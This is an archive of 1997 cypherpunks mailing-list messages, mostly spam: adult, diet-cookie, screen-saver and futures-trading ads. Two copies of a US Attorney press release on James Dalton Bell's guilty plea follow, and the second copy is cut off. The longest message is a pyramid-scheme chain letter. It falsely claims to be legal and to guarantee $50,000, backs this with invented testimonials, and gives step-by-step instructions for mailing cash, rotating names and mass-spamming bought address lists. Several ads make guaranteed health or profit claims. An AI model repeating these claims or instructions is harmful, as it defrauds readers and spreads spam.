From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 46781220@20384.com
Date: Mon, 14 Jul 1997 23:48:39 -0700 (PDT)
To: mktng@powerup-ss.com
Subject: IMMEDIATE CASH
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Dear Friend,

I would like to share a spectacular new income opportunity made simple & easy
where you can turn $125 into a $1,000 or more a month. $100 Fast-Start Bonus
per person paid daily. Part time from your home.

NO HYPE, NO PRESSURE & NO OBLIGATION   Call: (800)586-1291

NOTE: THIS IS THE ONLY MESSAGE YOU WILL RECEIVE FROM US. YOUR
NAME IS AUTOMATICALLY DELETED FROM OUR LIST UPON TRANSMISSION.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: promo@globalserve.net
Date: Tue, 15 Jul 1997 07:21:15 -0700 (PDT)
To: promo@globalserve.net
Subject: Traffic On Your Site Down
Message-ID: <199707151420.KAA00654@smtp.globalserve.net>
MIME-Version: 1.0
Content-Type: text/plain


______________________________________________________________________
        If you wish to be removed from our future mailings, please reply with "Remove"
        in the Subject line and we will automatically block you from our future mailings.
_________________________________________________________________________

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: KinkyBabe@germany.it.earthlink.net
Date: Tue, 15 Jul 1997 14:13:15 -0700 (PDT)
To: videostars@earthlink.net
Subject: Youve got to see this !
Message-ID: <199702170025.GAA08056@no-where.net>
MIME-Version: 1.0
Content-Type: text/plain


If You're Under 21 - Turn Back & Delete This Now!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Glen <brad@1-global.com>
Date: Tue, 15 Jul 1997 17:35:03 -0700 (PDT)
Subject: Make at Least $50,000 in Less than 90 Days !!
Message-ID: <199707160034.RAA29137@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Please accept my apology if this was sent to you in error!

<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
YOU ARE ABOUT TO MAKE AT LEAST $50,000- IN LESS THAN 90 DAYS
READ THE ENCLOSED PROGRAM....  THEN READ IT AGAIN!...
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

Dear Friend,

 The enclosed information is something I almost let slip through my fingers.
Fortunately, sometime later I re-read everything and gave some thought and
study to it.

My name is Christopher  Erickson. Two years ago, the corporation I worked at
for the past twelve years down-sized and my position was eliminated. After
unproductive job interviews, I decided to open my own business. Over the
past year, I incurred many unforeseen financial problems. I owed my family,
friends, and creditors over $35,000. The economy was taking a toll on my
business and I just couldn't seem to make ends meet. I had to refinance and
borrow against my home to support my family and struggling business. I truly
believe it was wrong for me to be in debt like this. AT THAT MOMENT
something significant happened in my life and I am writing to share my
experience in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via e-mail. Six months prior to
receiving this program I had been sending away for information on various
business opportunities. All of the programs I received, in my opinion, were
not cost effective. They were either to difficult for me to comprehend or
the initial investment was to much for me to risk to see if they worked or
not. One claimed I'd make a million dollars in one year... it didn't tell me
that I would have to write a book to make it.

But like I was saying, in December of '92 I received this program. I didn't
send for it, they just got my name off a mailing list.  THANK GOODNESS FOR
THAT!!! After reading it several times, to make sure I was reading it
correctly, I couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I
could invest as much as I wanted to start, without putting me further in
debt. After I got a paper and pencil and figured it out, I would at least
get my money back. After determining that the program is LEGAL and NOT A
CHAIN LETTER, I decided "WHY NOT".

Initially I sent out 10,000 e-mails. It only cost me about $15.00 for my
time on line. The great thing about e-mail is that I didn't need any money
for printing to send out the program, only the cost to fill my orders. I am
telling you like it is, I hope it doesn't turn you off, but I promised
myself that I would not "rip-off" anyone, no matter how much money it cost me!

In less than one week, I was starting to receive orders for REPORT #1. By
January 13th, I had received 26 orders for  REPORT #1. When you read the
GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20
ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS
UNTIL YOU DO!"  My first step in making $50,000 in 20 to 90 days was done.
By January 30th, I had received 196 orders for REPORT #2.  If you go back to
the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT#2 WITHIN TWO
WEEKS. IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100
ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL." Well, I
had 196 orders for REPORT#2, 96 more than I needed. So I sat back and
relaxed. By March 19th, of my e-mailing of 10,000, I received $58,000 with
more coming in every day.

I paid off ALL of my debts and bought a much needed new car. Please take
time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember, it won't work if you don't try it. This program does work, but you
must follow it EXACTLY! Especially the rules of not trying to place your
name in a different place. It doesn't work you will lose out of alot of
money!  REPORT#2 explains this. Always follow the guarantee, 15 to 20 orders
for REPORT#1, and 100 or more orders for REPORT #2 and you will make $50,000
or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS!!!  

If you choose not to partiipate in this program, I'm sorry. It really is a
great opportunity with little cost or risk to you. If you chooe to
participate, follow the program and you will be on your way to financial
security.

If you are a fellow business owner and you are in financial trouble like I
was, or you want to start your own business, consider this a sign. I DID!

                                                                     Sincerely,
                                                                     Christo
pher Erickson

PS. Do you have any idea what 11,700 $5 bills ($58,000) looks like piled up
on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"


"I had received this program before, I threw it away, but later wondered if
I shouldn't have given it a try. Of course, I had no idea who to contact to
get a copy, so I had to wait until I was e-mailed another copy of the
program. Eleven months passed, then it came. I DIDN'T throw this one away. I
made $41,000 on the first try."

                                                        Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember Alan, there is no free lunch in
life. You get out of life what you put into it.' Through trial and error and
a somewhat slow frustrating start, I finally figured it out. The program
works very well, I just had to find the right target group of people to
e-mail to. So far this year, I have made over $63,000 using this program. I
know my Dad would have been very proud of me."

                                               Alan B., Philadelphia, Pa.

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a program,
and one that is legal, could not have been created by an amateur.

Let me tell you a little about myself. I had a profitable business for ten
years. Then in 1979 my business began falling off. I was doing the same
things that were previously successful for me, but it wasn't working.
Finally, I figured it out. It wasn't me, it was the economy. Inflation and
recession had replaced the stable economy that had been with us since 1945.
I don't have to tell you what happened to the unemployment rate.... because
many of you know from first hand experience. There were more failures and
bankruptcies than ever before.


The middle class was vanishing. Those who knew what they were doing invested
wisely and moved up. Those who did not, including those who never had
anything to save or invest, were moving down into the ranks of the poor. As
the saying goes,  THE RICH GET RICHER AND THE POOR GET POORER."  The
traditional methods of making money will never allow you to "move up" or
"get rich", inflation will see to that.


You have just received infomation that can give you financial freedom for
the rest of your life, with "NO RISK" and "JUST A LITTLE BIT IF EFFORT." You
can make more money in the next few months  than you have ever imagined.


I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program. I have already
made over FOUR MILLION DOLLARS!!!  I have retired from the prgram after
sending out over 16,000 programs. Now I have several offices which market
this and several other programs here in the US and overseas. By the Spring,
we wish to market the 'Internet' by a partnership with AMERICA ON LINE.


Follow the program  EXACTLY AS INSTRUCTED. Do not change it in any way. It
works exceedingly well as it is now. Remember to e-mail a copy of this
exciting program to everyone that you can think of. One of the people you
send this to may send out 50,000... and your name will be on every one of
them! Remember though, the more you send out, the more potential customers
you will reach.


So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!


"THINK ABOUT IT" 

Before you delete this program from your mailbox, as I almost did, take
alittle time to read it and REALLY THINK ABOUT IT. Get a pencil and figure
out what could happen when YOU participate. Figure out the worst possible
response and no matter how you calculate it, you will still make alot of
money! Definitely get back what you invested. Any doubts you have will
vanish when your first orders come in. IT WORKS!

                                                   Paul Johnson, Raleigh, NC


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$

Let's say that you decide to start small, just to see how it goes, and we
will assume that you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives .5% response. Using a good list
the reponse could be much better. Also many people will send out hundreds of
thousands of programs instead of 2,000. But continuing with this example,
you send out only 2,000 programs. With a .5% response, that is only 10
orders for REPORT #1. These 10 people respond by sending out 2,000 programs
each for a total of 20,000. Out of those .5%, 100 people respond and order
REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000.
The .5% response to that is 1,000 orders for REPORT# 3. Those 1,000 send out
2,000 programs each for a 2,000,000 total. The .5% response to that is
10,000 orders for REPORT# 4. Thats 10,000 five dollar bills for you. CASH!!!
Your total income in this example is $50 + $500 + $5000 + $50,000 for a
total of $55,550!!!


REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL
DO ABOLUTELY NOTHING....AND TRASH THIS PROGRAM!!! DARE TO THINK FOR A MOMENT
WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF
ONLY 2,000.  Believe me, many people will do that and more! By the way, your
cost to participate in this is practically nothing. You obviously already
have an internet connection
and e-mail is FREE!!!  REPORT# 3 will show you the best methods for bulk
emailing and purchasing email lists.


THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require
you to come into contact with people, do any hard work, and best of all, you
never have to leave the house except to get the mail. If you believe that
someday you will get that big break that you've been waiting for, THIS IS
IT! Simply follow the instructions, and your dream will come true. This
multi-level email marketing program works perfectly...100% EVERYTIME!!!
Email is the sales tool of the future. Take advantage of this
non-commercialized method of advertising NOW! The longer you wait, the more
people will be doing business using email. Get your piece of this action!!!


MULTI-LEVEL MARKETING (MLM) has finally gainEd respectability. It is being
taught in the Harvard Business School, and both Stanford Research and the
Wall Street Journal have stated that between 50% and 65% of all goods and
services will be sold throughout Multi-level Methods by the late 1990's.
This is a Multi-Billion Dollar industry and of the 500,000 millionaires in
the US, 20% (100,000) made their fortune in the last several years in MLM.
Moreover, statistics show 45 people become millionaires everday through
Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Marketing Business, have a method of raising capital that
REALLY WORKS 100% EVERY TIME. I am sure that you could use $50,000 to
$125,000 in the next 20 to 90 days. Before you say "BULL", [please read the
program carefully.]


This is not a chain letter, but a perfectly legal money making opportunity.
Basically, this is what we do: As with all multi-level business, we build
our business by recruiting new partners and selling out products for EVERY
dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are
not involved in personal selling. You do it privately in your own home,
store or office.


This is the GREATEST Multi-level Mailorder Marketing anywhere:

Step(1)  Order all FOUR 4 REPORTS listed by  NAME AND NUMBER. Do this by
ordering the REPORT  from each of the 4 names listed on the next page. For
each REPORT, send $5 cash and a SELF-ADDRESSED,STAMPED envelope (BUSINESS
SIZE#10) to the person listed for the SPECIFIC REPORT. International orders
should also include $1 extra for postage. It is essential that you specify
the NAME and NUMBER of the report requested to the person you are ordering
from. You will need ALL FOUR 4 REPORTS because you will be REPRINTING and
RESELLING them. DO NOT alter the names or sequence other than what the
instructions say. IMPORTANT:  Always provide same day service on all orders.

STEP(2) Replace the name and address under Report# 1 with yours, moving the
one that was there down to REPORT# 2. Drop the name and address under
REPORT#  2 to REPORT# 3, moving the one that was there down to REPORT# 4.
The name and address that was under REPORT# 4 is dropped from the list and
this party is no doubt on the way to the bank. When doing this, make certain
that you type the names and addresses  ACCURATELY! DO NOT MIX UP MOVING
PRODUCT/REPORT POSITIONS!!!


STEP(3)  Having made the required changes in the NAME list, save it as a
(.txt) file in its own directory to be used with whatever email program you
like. Again, REPORT# 3 will tell you the best methods of bulk emailing and
acquiring email lists.


STEP(4)  Email a copy of the entire program (all of this is very important)
to everyone whose address you can get your hands on. Start with friends and
relatives since you can encourage them to take advantage of this fabulous
money-making opportunity. Thats what I did. And they love me now, more than
ever. Then, email to anyone and everyone! Use your imagination! You can get
email addresss from companies on the internet who specialize in email
mailing lists. These are very cheap, 100,000 addresses for around $35.00.

IMPORTANT: You won't get a good response if you use an old list, so always
ask for a FRESH,  NEW list. You will find out where to purchase these lists
when you order the FOUR 4 REPORTS.


ALWAYS PROVIDE SAME DAY SERVICE ON ALL ORDERS!!!!!

REQUIRED REPORTS

****Order each REPORT by NUMBER and NAME****

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER
REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER

______________________________________________________________________REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

CONTINENTAL ENTERPRISES
P.O. BOX 1671
VENICE, CA. 90291

(includes free Bulk Emailer)

______________________________________________________________________

REPORT# 2

"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT# 2 FROM:

FUTUREVIEW
24-4 VERMONT VIEW DR.
WATERVLIET, NY 12189-1029

______________________________________________________________________
REPORT# 3

"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT# 3 FROM:

M.O.C. MARKETING
P.O. BOX 146
GAITHERSBURG, MD 20884-0146

______________________________________________________________________

REPORT# 4

"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT# 4 FROM:

AUMAKUA ENTERPRISES
P.O. BOX 69
MAGNOLIA, N.J.  08049

______________________________________________________________________

CONCLUSION

I am enjoying my fortune that I made by sending out this program. You too,
will be making money in 20 to 90 days, if you follow the SIMPLE STEPS
outlined in this mailing.

To be financially independent is FREE. Free to make financial decisions as
never before. Go into business, get into investments, retire or take a
vacation. No longer will a lack of money hold you back,


However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it. It is much easier to say "NO"
than "YES", and this is the question that you must answer. Will YOU ignore
this amazing opportunity or will you take advantage of it ? If you do
nothing, you have indeed missed something and nothing will change. Please
re-read this material, this is a special opportunity. If you have any
questions, please feel free to write to the sender of this information. You
will get a prompt and informative reply.


My method is simple. I sell thouands of people a product for $5 that costs
me pennies to produce and email. I should also point out that this program
is legal and everyone who participates WILL make money. This is not a chain
letter or pyramid scam. At times you have probably received chain letters,
asking you to send money, on faith, but getting NOTHING in return, NO
product what-so-ever!! Not only are chain letters illegal, but the risk of
someone breaking the chain makes them quite unattractive.


You are offering a legitimate product to your people. After they purchase
the product from you, they reproduce more and resell them. Its simple free
enterprise. As you learned from the enclosed material, the PRODUCT is a
series of  4 FINANCIAL AND BUSINESS REPORTS. The information contained in
these REPORTS will not only help you in making your participation in this
program more rewarding, but will be useful to you in any other business
decisions you make in the years ahead. You are also buying the rights to
reprint all of the REPORTS, which will be ordered from you by those to whom
you mail this program. The concise one and two page REPORTS you will be
buying can easily be reproduced at a local copy center for a cost of about 3
cents a copy. Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my mind to
participate in this program. But conservative as I am, I decided that the
initial investment was so little that there was no way that I could not get
enough orders to at least get my money back. BOY,was I ever surprised when I
found my medium sized post office box crammed with orders!  I will make more
money this year than any ten years of my life before."
                        
                                                      Mary Riceland,
Lansing, MI.


TIPS FOR SUCCESS

Send for your FOUR 4 REPORTS immediately so you will have them when the
orders start coming in. When you receive a $5 order, you  MUST send out the
product/service to comply with US Postal and Lottery laws. Title 18 Sections
1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE
EXCHANGED FOR MONEY RECEIVED".


WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.     Name your new company. You can use your own name if you desire.

2.     Get a Post Office Box (preferred)

3.     Edit the names and addresses on the program. You must remember your
name  
        and address go next to REPORT# 1 and the others all move down one,
with the
        fourth one being bumped OFF the list. 

4.     Obtain as many email addresses as possible to send until you receive the 
        information on mailing list companies in REPORT# 3.

5.     Decide on the number of programs you intend to send out. The more you
send,       
        and the quicker you send them, the more money you will make.

6.     After mailing the programs, get ready to fill the orders.

7.     Copy the four 4 REPORTS so you are able to send them out as soon as
        you receive an order. IMPORTANT: ALWAYS PROVIDE SAME DAY SERVICE
        ON ORDERS YOU RECEIVE!

8.     Make certain the letter and reports are neat and legible.


YOUR GUARANTEE


The check point which GUARANTEES your success is simply this: you must
receive 15-20 orders for REPORT# 1. This is a must!!! If you don't within to
weeks, email out more programs till you do. Then a couple of weeks later you
should receive at least 100 orders for REPORT# 2, if you don't, send out
more programs till you do. Once you have recieved 100 or more orders for
REPORT# 2 (take a deep breath) you can sit back and relax, because YOU ARE
GOING TO MAKE AT LEAST $50,000. 
Mathematically it is a proven guarantee. Of those who have participated in
the program and reached the above GUARANTEES-ALL have received their $50,000
goal.
Also,remember, every time your name is moved down the list you are in front
of a different REPORT, so you can keep track of your program by knowing what
people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING:"
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT 
FOR THE REST OF YOUR LIFE."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 91240053@26905.com
Date: Wed, 16 Jul 1997 00:28:59 -0700 (PDT)
To: you@sicsemper23.com
Subject: Create your own Screen Savers!
Message-ID: <165033768544.VXV21771@sicsemper23.com>
MIME-Version: 1.0
Content-Type: text/plain


We are contacting you because you are an active PC user.  We wish to
 make you aware of a powerful and easy to use screen saver design tool
 for Windows 3.x and Windows 95 called Creator.
 
 Our software offers you the ability to personalize your PC with ease
 and develops professional screen savers with support for graphics, sound, animations and over 35 different wipe transitions.
 
 You can examine Creator for FREE by going to our Internet Web Site.  
 Download the shareware copy now and see the power and ease-of-use. 
 Take advantage of our special limited time offer Creator personal retails for $29.95 US 
 now only $1
 
 If you are interested in reading more about how to personalize your
 PC with Creator, we have included detailed information in the
 remainder of this message.
 
 Sincerely Yours,
 Curtis Reid
 PromoWare Corp.
 
 Creator develops custom multemedia screen savers for your personal PC. Creator has been recognized as the most powerful screen saver authoring tool on the market today.
 
 The software is compatible with all common IBM graphic file formats including JPEG, GIF, PCX, and BMP. Creator also supports many popular sound and animation file formats, including MID and WAV (sound), AVI, FLI, and FLC (animation) formats.
 
 Creator's support for animation and sound allows you to create stunning multimedia screen savers. These powerful features allow you to create musical screen savers of your favorite musical artists. Use images of family, pets, or any favorite images to create personalized custom screen savers!
 
 Some of Creator's additional features include an easy to use graphic scheduler, optional file compression, Health Watch (regulates monitor use for long term eye safety, and helps prevent computer related problems such as Carpul tunnel syndrome), and over 35 different screen transitions.
 
 Check out our special Limited Offer - Creator Personal retails for
 $29.95 US, now only $19.95 US until July 30, 1997.
 
Order Creator by:

 BUY CREATOR NOW at http://www.promoware.sk.ca/creator
 Phone: 1-800-463-9237
 Fax: (306) 652-1955
 We accept both VISA and Master Card.
 
 email: support@promoware.sk.ca
 
 This is the only notice you will receive regarding Creator.  There
 is no need to request removal from our mailing list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 01093775@03416.com
Date: Thu, 17 Jul 1997 00:10:39 -0700 (PDT)
To: Friends@public.com
Subject: Cookie that help you lose wieght!!!
Message-ID: <GH1865472727.46528754@gh.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
COOKIES THAT HELP YOU LOSE WEIGHT!!!

Dear Friend,

No, there isn't a misprint on the subject line. There is a cookie out there which actually helps you lose weight. I have found this amazing product and
I'm willing to share this miracle with everyone.

Do you like cookies? I'm sure there are many of you out there who love cookies. But aren't you concerned about the Fat, Cholesterol and Calories that 
get digested by you body as you enjoy a delicious cookie?

How about those Fat free, Cholesterol free cookies? Sure, they don't have the fat and cholesterol which you don't want, but it still has the calories which 
can add up.

So let me introduce to you a cookie which can actually help you LOSE WEIGHT! You can use this cookie as a healthy snack or as a weight lost program.

The cookie company creates the only FAT BURNING COOKIE in the world by mixing a 5000 year old Chinese herb with a delicious tasting cookie.
This thermogenic herb helps rev up your metabolism to help you BURN FAT and CONTROL YOUR APPETITE. The Chinese have been using this
herb on it's own for thousands of years as a diet aid, and now you too can take advantage of this amazing herb in a HIGH FIBER, 100%  ALL NATURAL COOKIE. 
This cookie also TASTE GREAT! It's actually moist and flavorful.

You can have this cookie as a great tasting healthy snack, with the added all natural benefits of weight lose, or you can use it by itself as a diet program.
The cookie company guarantees, no matter how many diets have failed you before, you are guaranteed not to fail this time. The cookies are 100% guaranteed
to succeed in your WEIGHT LOST program, or your money would be gladly refund.

Why don't you find out yourself about this AMAZING product? You really have NOTHING TO LOSE BUT FAT. ACT NOW and find out how ONE COOKIE A DAY 
CAN GIVE YOU THE BODY YOU'VE ALWAYS DREAMED OF!

To receive more information about this amazing cookie, and the cookie diet, please send three ($3) dollars cash along with your name and address to:-

Cookie Dept. # 23918
PO BOX 180
Cypress, CA 90630

Sincerely yours,
your friend
The Cookieman


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 75825118@cris.com
Date: Wed, 16 Jul 1997 22:32:52 -0700 (PDT)
To: 14225714@cris.com
Subject: WE MAKE HUGE PROFITS!!! FACT!
Message-ID: <4751238769089.GAA22134@cris.com>
MIME-Version: 1.0
Content-Type: text/plain


(Removal Instructions At Bottom Of Message..) 


          <><> We Offer Outstanding Trading Opportunities <><>             

                 UP $10,400 IN 5 TRADING SESSIONS, FACT!!
                 UP $10,400 IN 5 TRADING SESSIONS, FACT!!
                 UP $10,400 IN 5 TRADING SESSIONS, FACT!!

Did you know, we were featured in Futures Magazine Special S&P 
Daytrading Issue 6/97...

Our Intermarket S&P Daytrading Managed Account is UP SUBSTANTIALLY
year to date...FACT!!

The following is a short real-world example of our trading system:

6/10/97-$600 gain  6/11/97-$300 loss  6/12/97-$125 loss  
6/13/97-$1700 loss 6/19/97-$1200 gain 6/23/97-$2300 gain
6/24/97-$3000 gain 6/30/97-$2635 gain 7/01/97-$1675 gain
7/02/97-$2375 loss 7/09/97-$1075 loss 7/10/97- flat

As you can see we offer OUTSTANDING profit possibilities for those
individuals who have risk capital and seek greater returns. We are
licensed with the NFA and CFTC. Our track record speaks for itself.
Our minimum is $15k per one contract. Please leave your name and fax
number at 212-726-8896 and we will be happy to get you all the info 
promptly!

We are the undisputed leader in the Futures Industry in creating,
finding and working with the top Futures Managed Trading Systems in the 
WORLD! ALL our Intermarket trading systems are designed to offer
outstanding and consistent returns! No matter what your trading style, 
our Managed Accounts will meet your objectives... GUARANTEED!!

Call our HOTLINE FREE everyday at 4:30pm EST at 212-726-8896 and 
hear exactly what we did in the markets with all our clients money. Win, 
lose or draw, we tell it like it is EVERYDAY. Then leave your name 
and fax number and we will fax you our 5 year history AND the EXACT 
trades that have been taken since 1/27/97 in our Intermarket S&P Daytrading 
System..It's that simple. 

                         CALL 212-726-8896 NOW!!

    Leave your NAME & FAX NUMBER...You won't be disappointed, GUARANTEED! 


                 We offer  **HUGE POTENTIAL**.....FACT!!!!

                         CALL 212-726-8896 NOW!!

Futures Trading Involves Risk, Understand The Risk BEFORE You Begin Trading!

Thank You,

212-726-8826


** For removal from any of our future mailouts, you need send only a blank e-mail to:

tri@answerme.com

.Sorry for the intrusion.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: candy@mail2.24hrplaymates.com
Date: Wed, 16 Jul 1997 21:39:42 -0700 (PDT)
To: free5live@hotmail.com
Subject: adults only
Message-ID: <18725478612534@mail2.24hrplaymates.com>
MIME-Version: 1.0
Content-Type: text/plain


TRY US OUT FOR FREE!!!
See and talk to a live person on your computer screen.
Not a video!  Not prerecorded!  This is live!!!
Our models will obay your every cummand, we're willing to prove it
by giving you a free 5 minute preview.
Give it a try, it's free!
  - CLICK HERE
xxxx




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Date: Fri, 18 Jul 1997 15:47:16 -0700 (PDT)
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest
Message-ID: <199707171628.MAA02724@net.insp.irs.gov>
MIME-Version: 1.0
Content-Type: text/plain




					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Date: Fri, 18 Jul 1997 15:51:19 -0700 (PDT)
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest
Message-ID: <199707171629.MAA02733@net.insp.irs.gov>
MIME-Version: 1.0
Content-Type: text/plain




					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
